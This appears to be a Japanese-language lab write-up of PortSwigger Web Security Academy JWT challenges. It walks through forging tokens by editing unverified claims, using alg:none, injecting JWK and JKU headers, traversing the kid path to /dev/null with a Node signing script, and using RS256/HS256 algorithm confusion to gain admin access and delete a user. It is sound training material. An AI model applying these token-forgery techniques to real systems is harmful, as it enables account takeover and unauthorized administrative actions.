# Web Security Academy JWT Attack Challenge [toc] ## JWT authentication bypass via unverified signature `wiener:peter`でログインするとJWTが付与されることがわかる。 ![image](https://hackmd.io/_uploads/H1gOuaPdp.png) JWTのペイロード部を以下のように書き換えてあげ、`/my-account?id=carlos`にアクセスすると、carlosの認証後の画面が見えるようになる。 ```json {"iss":"portswigger","sub":"carlos","exp":1704613424} ``` と思ったが、`/admin`パネルでcarlosを消す必要があるみたいだった。 `/admin`にアクセスすると、`administrator`アカウントがいそうなメッセージを確認できるため、 ```json {"iss":"portswigger","sub":"administrator","exp":1704613424} ``` 上記のようにペイロード部を変更し、`/admin`にアクセス後,変更後のjwtを使い、`/admin/delete?username=carlos`にリクエストを投げるだけ。 ## JWT authentication bypass via flawed signature verification ヘッダー部を`{"kid":"f6b310a3-a94a-49dc-91eb-630e72bd05f9","alg":"none"}`のようにし、payload部を`{"iss":"portswigger","sub":"carlos","exp":1704614183}` のようにする。 `JWT` ```base64 eyJraWQiOiJmNmIzMTBhMy1hOTRhLTQ5ZGMtOTFlYi02MzBlNzJiZDA1ZjkiLCJhbGciOiJub25lIn0%3d.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImNhcmxvcyIsImV4cCI6MTcwNDYxNDE4M30=. ``` これで、`/my-account?id=carlos`にアクセスすると、carlosの認証後ページが閲覧できる。 none attackが決まることがわかったので、payload部の`sub`クレームを`administrator`に変更して`/admin`にアクセスする。 ![image](https://hackmd.io/_uploads/H1JBn6P_6.png) これができたら、`/admin/delete?username=carlos`にリクエストを飛ばし終了。 ## JWT authentication bypass via weak signing key hashcatを手元で回すのがしんどいため無視。 ## JWT authentication bypass via jwk header injection `wiener:peter`でログインを行う。 ```json {"kid":"bc9273fd-ef58-4302-8059-e52c16cc5014","alg":"RS256"}. {"iss":"portswigger","sub":"wiener","exp":1704635869}. signature... ``` 今回は、自身の秘密鍵で署名したJWTを公開鍵を指定し検証させるというもの。 これでよしです。 JWT Editorに移動し、`New RSA Key > Generate > OK`でRSA秘密鍵を生み出します。 `/admin`へのリクエストをRepeaterに送り、Attackを押下します。 ![image](https://hackmd.io/_uploads/rJXuUQO_T.png) `Attack > Embedded JWK Attack > OK`を選択し、Payload部の`sub`を`administrator`に変更しリクエストを送る。 ![image](https://hackmd.io/_uploads/SJbkvmuOT.png) アクセスできていることを確認できたら、`/admin/delete?username=carlos`で終わり。 ## JWT authentication bypass via jku header injection `wiener:peter`でログインすると以下のような感じ。 ![image](https://hackmd.io/_uploads/ryQKkB__6.png) [前回のラボ](https://hackmd.io/EHB0iqeVQj6qasPnhrCTmg#JWT-authentication-bypass-via-jwk-header-injection)のように鍵を生成して、`Copy Publick Key as JWK`して以下のような形式で、`JWKセット`を作成し、エクスプロイトサーバに格納。 ```json { "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "e11edf31-8729-4327-b01f-580d008de03f", "n": "5iMOt-S6bb_awexOInRoR5d1CB5qkAqxFOCRQkQoGsulfQvaP5KY6bVV8m-RjnjNs5hT-OsCdso7YoET0zVwbjLN6_Knx3xNmbMw_T69r_2UDJJDHi4GclLS5m8UpFgzru8yC5JHOISwtpZSBELSi5GJ318Lk1B4f7j_aendiAtveK42o7CoXPW2wJon7-vj_VV9FGdhA-ftWx6f59wMD-v6577CD_eHAMqGHgeIS58b21G8UwBJqjUJqwIMJN_vH1i0nPCkU6o1T_I5NllaV3kvGVYrdrd-gUjPCa56gIToU0zXreSTeuVrupSU-pQBbIp_JdoyBzBA4V8fJBA6Vw" } ] } ``` `wiener:peter`でログインした際に付与されたJWTのヘッダー部の`kid`を、Exploit ServerにストアしているJWK Setのkidに置き換える。 ![image](https://hackmd.io/_uploads/r1qjbBuOp.png) この状態にしたら、Signして新しいJWTを作成し、`/admin/delete?username=carlos`にGETリクエストを送り終わり。 ## JWT authentication bypass via kid header path traversal ```node const jwt = require("jsonwebtoken"); const fs = require("fs"); const payload = { "iss": "portswigger", "sub": "administrator", "exp": 1704645180 }; const secret = fs.readFileSync("/dev/null"); const token = jwt.sign(payload, secret, {keyid:"../../../../../../../../../../dev/null"}); console.log(token); ``` これで、JsonWebTokenを取得し、`/admin/delete?username=carlos`にGETを飛ばすだけ。 ## JWT authentication bypass via algorithm confusion `wiener:peter`でアクセスすると、以下のようなJWTが付与されます。 ![image](https://hackmd.io/_uploads/ryRkQIduT.png) また、`/jwks.json`にアクセスすると、以下のようなレスポンスが帰ってくることがわかります。 ```text HTTP/2 200 OK X-Frame-Options: SAMEORIGIN Content-Length: 455 {"keys":[{"kty":"RSA","e":"AQAB","use":"sig","kid":"507b2229-7cd7-4187-aeb2-005a04ebd834","alg":"RS256","n":"yaBCR7CZ_742FzwY3PKGxY7pt3cQQxdVG8SaA1Yj4FE0C7qIuYuNUdP1wVfCCCRee02NpyhsKlL2UPRiUyeagQc0Fub3tyqJTuE812h6CbCx0hD9boxht7tGSu1BjI3FEzOFjrv9SdxoqBxUemIUOYrq8PIV2skU5G21epZFEi8BhUp32O5jmEbLW1OtvQK8QrOooliJv4jU4GaMMaLHpYK909RilUAyhEtHOg-deeMqIQX4AQTGluPT9uDv-nMw8c3qxj1OeyjOWfWrdk2K-6b1chIfMx8zHuQiZdAjR4h_RRR3H_pZ7mq5vDmjpJJt9S--IRvd8M3NdFgcIlJUWw"}]} ``` jwkを抜き取って、PEM形式に変更をしましょう。 ```javascript const jose = require("node-jose"); const jwk = { kty: "RSA", e: "AQAB", use: "sig", alg: "RS256", n: "yaBCR7CZ_742FzwY3PKGxY7pt3cQQxdVG8SaA1Yj4FE0C7qIuYuNUdP1wVfCCCRee02NpyhsKlL2UPRiUyeagQc0Fub3tyqJTuE812h6CbCx0hD9boxht7tGSu1BjI3FEzOFjrv9SdxoqBxUemIUOYrq8PIV2skU5G21epZFEi8BhUp32O5jmEbLW1OtvQK8QrOooliJv4jU4GaMMaLHpYK909RilUAyhEtHOg-deeMqIQX4AQTGluPT9uDv-nMw8c3qxj1OeyjOWfWrdk2K-6b1chIfMx8zHuQiZdAjR4h_RRR3H_pZ7mq5vDmjpJJt9S--IRvd8M3NdFgcIlJUWw" }; jose.JWK.asKey(jwk).then(x => { const secret = x.toPEM(); console.log(secret); }); ``` `result` ```text -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyaBCR7CZ/742FzwY3PKG xY7pt3cQQxdVG8SaA1Yj4FE0C7qIuYuNUdP1wVfCCCRee02NpyhsKlL2UPRiUyea gQc0Fub3tyqJTuE812h6CbCx0hD9boxht7tGSu1BjI3FEzOFjrv9SdxoqBxUemIU OYrq8PIV2skU5G21epZFEi8BhUp32O5jmEbLW1OtvQK8QrOooliJv4jU4GaMMaLH pYK909RilUAyhEtHOg+deeMqIQX4AQTGluPT9uDv+nMw8c3qxj1OeyjOWfWrdk2K +6b1chIfMx8zHuQiZdAjR4h/RRR3H/pZ7mq5vDmjpJJt9S++IRvd8M3NdFgcIlJU WwIDAQAB -----END PUBLIC KEY----- ``` あと以下のようにしてJWTを生み出し、`/admin/delete?username=carlos`にアクセスして終わり。 ![image](https://hackmd.io/_uploads/HkdQpLuOa.png) ## JWT authentication bypass via algorithm confusion with no exposed key hashcatしんどい。